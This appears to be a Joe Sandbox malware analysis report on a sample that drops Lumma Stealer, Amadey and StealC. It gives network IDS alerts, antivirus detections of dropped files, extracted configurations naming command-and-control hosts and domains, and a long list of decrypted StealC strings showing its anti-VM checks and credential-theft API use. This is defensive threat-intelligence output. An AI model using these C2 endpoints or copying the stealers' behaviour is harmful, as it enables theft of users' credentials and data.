2024-11-01T00:39:08.573934+0100	2049812	1	A Network Trojan was detected	192.168.2.6	50009	188.114.96.3	443	TCP
2024-11-01T00:39:41.203921+0100	2049812	1	A Network Trojan was detected	192.168.2.6	50076	188.114.96.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T00:38:02.799992+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	49709	188.114.96.3	443	TCP
2024-11-01T00:38:04.284202+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	49710	188.114.96.3	443	TCP
2024-11-01T00:38:05.596752+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	49712	188.114.96.3	443	TCP
2024-11-01T00:38:07.328959+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	49713	188.114.96.3	443	TCP
2024-11-01T00:38:09.008165+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	49714	188.114.96.3	443	TCP
2024-11-01T00:38:10.641175+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	49715	188.114.96.3	443	TCP
2024-11-01T00:38:12.241978+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	49717	188.114.96.3	443	TCP
2024-11-01T00:38:14.850042+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	49729	188.114.96.3	443	TCP
2024-11-01T00:38:51.897240+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	49939	188.114.96.3	443	TCP
2024-11-01T00:38:53.266675+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	49949	188.114.96.3	443	TCP
2024-11-01T00:38:54.695703+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	49958	188.114.96.3	443	TCP
2024-11-01T00:38:55.991776+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	49967	188.114.96.3	443	TCP
2024-11-01T00:38:57.714025+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	49978	188.114.96.3	443	TCP
2024-11-01T00:38:59.460082+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	49989	188.114.96.3	443	TCP
2024-11-01T00:39:01.478998+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50000	188.114.96.3	443	TCP
2024-11-01T00:39:04.530976+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50006	188.114.96.3	443	TCP
2024-11-01T00:39:06.879812+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50008	188.114.96.3	443	TCP
2024-11-01T00:39:08.091094+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50009	188.114.96.3	443	TCP
2024-11-01T00:39:09.561443+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50011	188.114.96.3	443	TCP
2024-11-01T00:39:11.870852+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50015	188.114.96.3	443	TCP
2024-11-01T00:39:15.030056+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50020	188.114.96.3	443	TCP
2024-11-01T00:39:20.378601+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50028	188.114.96.3	443	TCP
2024-11-01T00:39:23.356414+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50033	188.114.96.3	443	TCP
2024-11-01T00:39:25.951319+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50037	188.114.96.3	443	TCP
2024-11-01T00:39:39.006827+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50074	188.114.96.3	443	TCP
2024-11-01T00:39:40.729948+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50076	188.114.96.3	443	TCP
2024-11-01T00:39:42.107021+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50078	188.114.96.3	443	TCP
2024-11-01T00:39:43.311894+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50081	188.114.96.3	443	TCP
2024-11-01T00:39:44.364796+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50082	188.114.96.3	443	TCP
2024-11-01T00:39:45.677692+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50084	188.114.96.3	443	TCP
2024-11-01T00:39:47.079765+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50085	188.114.96.3	443	TCP
2024-11-01T00:39:48.287694+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50089	188.114.96.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T00:38:16.106261+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	49735	185.215.113.16	80	TCP
2024-11-01T00:39:06.219719+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	50007	185.215.113.16	80	TCP
2024-11-01T00:39:10.724981+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	50012	185.215.113.16	80	TCP
2024-11-01T00:39:27.400803+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	50039	185.215.113.16	80	TCP
2024-11-01T00:39:49.700494+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	50090	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T00:38:52.601735+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49943	185.215.113.43	80	TCP
2024-11-01T00:39:02.011507+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50001	185.215.113.43	80	TCP
2024-11-01T00:39:09.817986+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50010	185.215.113.43	80	TCP
2024-11-01T00:39:17.346868+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50023	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T00:38:02.081789+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.6	65460	1.1.1.1	53	UDP
2024-11-01T00:38:51.243761+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.6	61186	1.1.1.1	53	UDP
2024-11-01T00:39:06.233832+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.6	53511	1.1.1.1	53	UDP
2024-11-01T00:39:38.272143+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.6	63461	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T00:38:02.119799+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.6	58018	1.1.1.1	53	UDP
2024-11-01T00:38:51.257324+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.6	52153	1.1.1.1	53	UDP
2024-11-01T00:39:06.247746+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.6	53992	1.1.1.1	53	UDP
2024-11-01T00:39:38.290225+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.6	65047	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T00:38:02.141121+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.6	58543	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T00:38:02.067528+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.6	62553	1.1.1.1	53	UDP
2024-11-01T00:38:51.229950+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.6	59497	1.1.1.1	53	UDP
2024-11-01T00:39:06.043801+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.6	50472	1.1.1.1	53	UDP
2024-11-01T00:39:38.261224+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.6	58525	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T00:38:02.130752+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.6	56521	1.1.1.1	53	UDP
2024-11-01T00:38:51.270383+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.6	50950	1.1.1.1	53	UDP
2024-11-01T00:39:06.259172+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.6	52791	1.1.1.1	53	UDP
2024-11-01T00:39:38.355215+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.6	52599	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T00:38:06.364130+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49712	188.114.96.3	443	TCP
2024-11-01T00:38:55.226468+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49958	188.114.96.3	443	TCP
2024-11-01T00:39:42.682285+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	50078	188.114.96.3	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T00:39:03.587939+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50005	185.215.113.206	80	TCP
2024-11-01T00:39:16.305471+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50022	185.215.113.206	80	TCP
2024-11-01T00:39:23.923239+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50032	185.215.113.206	80	TCP
2024-11-01T00:39:30.773610+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50043	185.215.113.206	80	TCP
2024-11-01T00:39:48.731219+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50088	185.215.113.206	80	TCP
2024-11-01T00:40:04.775023+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50129	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T00:38:39.894528+0100	2856147	1	A Network Trojan was detected	192.168.2.6	49866	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T00:38:51.660313+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	49881	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T00:38:43.250700+0100	2803305	3	Unknown Traffic	192.168.2.6	49887	185.215.113.16	80	TCP
2024-11-01T00:38:53.533225+0100	2803305	3	Unknown Traffic	192.168.2.6	49948	185.215.113.16	80	TCP
2024-11-01T00:39:02.948378+0100	2803305	3	Unknown Traffic	192.168.2.6	50004	185.215.113.16	80	TCP
2024-11-01T00:39:10.724981+0100	2803305	3	Unknown Traffic	192.168.2.6	50012	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T00:39:47.675122+0100	2843864	1	A Network Trojan was detected	192.168.2.6	50085	188.114.96.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000020.00000002.2947624968.00000000004D1000.00000040.00000001.01000000.00000019.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 48.2.num.exe.2a0000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: efe6fe4127.exe.5280.12.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["founpiuer.store", "navygenerayk.store", "fadehairucw.store", "presticitpo.store", "thumbystriw.store", "necklacedmny.store", "scriptyprefej.store", "crisiwarny.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\num[1].exe	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1003039001\num.exe	ReversingLabs: Detection: 95%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.7% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\num[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1003039001\num.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\9XHYSBI0DT1C8ABJDSO.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: 30
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: 11
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: 20
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: 24
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: GetProcAddress
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: LoadLibraryA
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: lstrcatA
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: OpenEventA
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: CreateEventA
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: CloseHandle
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: Sleep
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: VirtualFree
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: GetSystemInfo
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: VirtualAlloc
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: HeapAlloc
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: GetComputerNameA
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: lstrcpyA
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: GetProcessHeap
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: GetCurrentProcess
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: lstrlenA
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: ExitProcess
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: GetSystemTime
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: advapi32.dll
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: gdi32.dll
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: user32.dll
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: crypt32.dll
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: ntdll.dll
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: GetUserNameA
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: CreateDCA
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: GetDeviceCaps
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: ReleaseDC
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: sscanf
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: VMwareVMware
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: HAL9TH
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: JohnDoe
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: DISPLAY
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: http://185.215.113.206
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: bksvnsj
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: /6c4adf523b719729.php
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: /746f34465cf17784/
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: tale
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: GetFileAttributesA
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: GlobalLock
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: HeapFree
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: GetFileSize
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: GlobalSize
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: IsWow64Process
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: Process32Next
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: GetLocalTime
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: FreeLibrary
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: GetVolumeInformationA
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: Process32First
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: GetLocaleInfoA
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: GetModuleFileNameA
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: DeleteFileA
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: FindNextFileA
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: LocalFree
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: FindClose
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: LocalAlloc
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: GetFileSizeEx
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: ReadFile
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: SetFilePointer
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: WriteFile
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: CreateFileA
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: FindFirstFileA
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: CopyFileA
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: VirtualProtect
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: GetLastError
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: lstrcpynA
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: MultiByteToWideChar
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: GlobalFree
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: WideCharToMultiByte
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: GlobalAlloc
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: OpenProcess
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: TerminateProcess
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: GetCurrentProcessId
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: gdiplus.dll
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: ole32.dll
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: bcrypt.dll
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: wininet.dll
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: shlwapi.dll
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: shell32.dll
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: psapi.dll
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: rstrtmgr.dll
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: SelectObject
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: BitBlt
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: DeleteObject
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: CreateCompatibleDC
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: GdiplusStartup
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: GdiplusShutdown
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: GdipDisposeImage
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: GdipFree
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: CoUninitialize
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: CoInitialize
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: CoCreateInstance
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: BCryptDecrypt
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: BCryptSetProperty
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: BCryptDestroyKey
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: GetWindowRect
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: GetDesktopWindow
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: GetDC
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: CloseWindow
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: wsprintfA
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: CharToOemW
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: wsprintfW
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: RegQueryValueExA
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: RegEnumKeyExA
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: RegOpenKeyExA
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: RegCloseKey
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: RegEnumValueA
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: CryptUnprotectData
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: SHGetFolderPathA
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: ShellExecuteExA
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: InternetOpenUrlA
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: InternetConnectA
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: InternetCloseHandle
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: InternetOpenA
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: HttpSendRequestA
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: HttpOpenRequestA
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: InternetReadFile
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: InternetCrackUrlA
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: StrCmpCA
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: StrStrA
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: StrCmpCW
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: PathMatchSpecA
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: RmStartSession
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: RmRegisterResources
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: RmGetList
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: RmEndSession
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: sqlite3_open
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: sqlite3_step
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: sqlite3_column_text
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: sqlite3_finalize
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: sqlite3_close
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: sqlite3_column_bytes
